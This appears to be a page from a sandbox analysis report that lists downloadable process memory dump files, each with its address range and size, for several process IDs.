Download
memory/4000-28-0x0000000005260000-0x00000000052C6000-memory.dmp

Filesize
408KB

Download
memory/4000-32-0x0000000005AE0000-0x0000000005E37000-memory.dmp

Filesize
3.3MB

Download
memory/4000-53-0x0000000005F70000-0x0000000005F8E000-memory.dmp

Filesize
120KB

Download
memory/4000-55-0x0000000006550000-0x0000000006584000-memory.dmp

Filesize
208KB

Download
memory/4000-57-0x0000000074510000-0x000000007455C000-memory.dmp

Filesize
304KB

Download
memory/4000-66-0x0000000006530000-0x000000000654E000-memory.dmp

Filesize
120KB

Download
memory/4000-68-0x0000000006F80000-0x0000000007024000-memory.dmp

Filesize
656KB

Download
memory/4000-67-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/4000-69-0x0000000007900000-0x0000000007F7A000-memory.dmp

Filesize
6.5MB

Download
memory/4000-71-0x0000000007350000-0x000000000735A000-memory.dmp

Filesize
40KB

Download
memory/4000-74-0x0000000007550000-0x00000000075E6000-memory.dmp

Filesize
600KB

Download
memory/4128-128-0x00000218D1B10000-0x00000218D1B1A000-memory.dmp

Filesize
40KB

Download
memory/4128-117-0x00007FF480A90000-0x00007FF480AA0000-memory.dmp

Filesize
64KB

Download
memory/4128-106-0x00007FF993DA0000-0x00007FF994862000-memory.dmp

Filesize
10.8MB

Download
memory/4128-107-0x00000218D16B0000-0x00000218D16C0000-memory.dmp

Filesize
64KB

Download
memory/4128-108-0x00000218D16B0000-0x00000218D16C0000-memory.dmp

Filesize
64KB

Download
memory/4128-126-0x00000218D1B30000-0x00000218D1B4C000-memory.dmp

Filesize
112KB

Download
memory/4128-127-0x00000218D1B50000-0x00000218D1C03000-memory.dmp

Filesize
716KB

Download
memory/4128-129-0x00000218D1D30000-0x00000218D1D4C000-memory.dmp

Filesize
112KB

Download
memory/4128-130-0x00000218D1B20000-0x00000218D1B2A000-memory.dmp

Filesize
40KB

Download
memory/4128-138-0x00007FF993DA0000-0x00007FF994862000-memory.dmp

Filesize
10.8MB

Download
memory/4128-131-0x00000218D1D50000-0x00000218D1D6A000-memory.dmp

Filesize
104KB

Download
memory/4128-135-0x00000218D16B0000-0x00000218D16C0000-memory.dmp

Filesize
64KB

Download
memory/4128-134-0x00000218D1D70000-0x00000218D1D7A000-memory.dmp

Filesize
40KB

Download
memory/4128-133-0x00000218D1D20000-0x00000218D1D26000-memory.dmp

Filesize
24KB

Download
memory/4128-132-0x00000218D1D10000-0x00000218D1D18000-memory.dmp

Filesize
32KB

Download
memory/4660-145-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4660-140-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4660-142-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4660-143-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4660-141-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4660-139-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4972-72-0x0000000007F50000-0x00000000084F6000-memory.dmp

Filesize
5.6MB

Download
memory/4972-29-0x0000000004D30000-0x0000000004D96000-memory.dmp

Filesize
408KB

Download
memory/4972-22-0x0000000073000000-0x00000000737B1000-memory.dmp

Filesize
7.7MB

Download
memory/4972-70-0x0000000005F90000-0x0000000005FAA000-memory.dmp

Filesize
104KB

Download
memory/4972-47-0x0000000002680000-0x0000000002690000-memory.dmp

Filesize
64KB

Download
memory/4972-86-0x0000000073000000-0x00000000737B1000-memory.dmp

Filesize
7.7MB

Download
memory/4972-18-0x0000000002690000-0x00000000026C6000-memory.dmp

Filesize
216KB

Download
memory/4972-73-0x0000000006ED0000-0x0000000006F62000-memory.dmp

Filesize
584KB

Download